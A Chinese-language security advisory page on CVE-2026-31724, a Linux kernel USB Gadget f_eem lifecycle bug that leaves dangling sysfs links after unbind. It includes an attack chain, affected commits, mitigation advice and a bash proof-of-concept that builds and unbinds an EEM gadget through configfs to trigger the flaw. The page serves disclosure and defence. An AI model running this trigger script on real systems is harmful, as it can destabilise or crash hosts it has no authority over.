IPBUF安全漏洞报告
English
CVE-2026-31724 CVSS 5.5 中危

CVE-2026-31724 Linux内核USB Gadget生命周期漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31724
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB GadgetResource Management ErrorDoSSysfsLocal

漏洞概述

CVE-2026-31724是Linux内核中USB Gadget子系统的一个安全漏洞。该漏洞源于`f_eem`驱动程序在处理网络设备生命周期时的逻辑缺陷。具体而言,net_device在函数实例创建时分配,在绑定时注册,其父设备为gadget设备。当函数解绑时,父设备被销毁,但net_device仍然存活,导致sysfs中出现悬空符号链接。这可能引发系统资源管理混乱或拒绝服务攻击。

技术细节

该漏洞涉及Linux内核USB Gadget功能驱动中的设备生命周期管理。在正常的操作流程中,net_device结构体在函数实例创建时被分配,并在绑定阶段注册到内核,此时其sysfs父节点被设置为gadget设备。问题发生在解绑阶段:当函数解绑时,gadget设备(父设备)被销毁,但net_device并未随之销毁。这导致net_device指向一个已不存在的父设备路径,在sysfs中产生“dangling symlinks”(悬空链接)。这不仅破坏了sysfs拓扑结构的一致性,还可能导致后续访问该设备路径时发生内核崩溃或其他不可预期的行为(如空指针解引用),从而影响系统可用性。修复方案采用了`device_move()`函数,在最终解绑时将net_device移动到`/sys/devices/virtual`设备树下,确保在gadget设备销毁前完成父节点变更。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限访问权限 (AV:L/PR:L)。
STEP 2
步骤2
攻击者配置并加载USB Gadget,使用f_eem函数驱动。
STEP 3
步骤3
攻击者触发Gadget的解绑操作(如停止UDC设备)。
STEP 4
步骤4
内核错误处理net_device生命周期,导致sysfs悬空链接或内核崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC to reproduce the sysfs dangling symlink issue in Linux Kernel f_eem # This requires a system with USB Gadget configfs support. modprobe libcomposite # Setup USB Gadget directory GADGET_DIR="/sys/kernel/config/usb_gadget/poc_eem" mkdir -p $GADGET_DIR cd $GADGET_DIR # Configure basic device IDs echo 0x1d6b > idVendor echo 0x0104 > idProduct mkdir -p strings/0x409 echo "PoC" > strings/0x409/manufacturer echo "EEM Vuln" > strings/0x409/product # Create configuration mkdir -p configs/c.1/strings/0x409 echo "Config" > configs/c.1/strings/0x409/configuration # Create EEM function and link to config mkdir -p functions/eem.usb0 ln -s functions/eem.usb0 configs/c.1 # Find available UDC (USB Device Controller) UDC=$(ls /sys/class/udc | head -n 1) if [ -n "$UDC" ]; then echo "Activating Gadget with UDC: $UDC" echo $UDC > UDC # Sleep to allow initialization sleep 1 echo "Net device registered. Checking sysfs..." ls -l /sys/class/net/usb0 echo "Deactivating Gadget to trigger the vulnerability..." echo "" > UDC # At this point, the gadget device is destroyed but net_device might linger # causing a dangling symlink in sysfs. echo "Checking sysfs status after unbind..." ls -l /sys/class/net/usb0 # Attempt to access the dangling path (may cause error or crash) cat /sys/class/net/usb0/uevent 2>/dev/null && echo "Access OK" || echo "Access Failed (Dangling link)" else echo "No UDC available. Cannot test." fi # Cleanup cd / rm -rf $GADGET_DIR

影响范围

Linux Kernel (Versions prior to commit d9270c9a8118c1535409db926ac1e2545dc97b81)
Linux Kernel (Versions prior to commit a6b8bce01a30a8c05c034bbc36c34845d65d644f)
Linux Kernel (Versions prior to commit 4ccdccff8febc5456aff684627f9a4c5c83b9346)
Linux Kernel (Versions prior to commit 14730506b9e2a09d10c963a57a72ed528482fc15)

防御指南

临时缓解措施
对于不需要使用USB Gadget功能的系统,建议禁用相关的内核模块(如`g_eem`)或限制对`/sys/kernel/config/usb_gadget`的访问权限,以防止本地用户触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表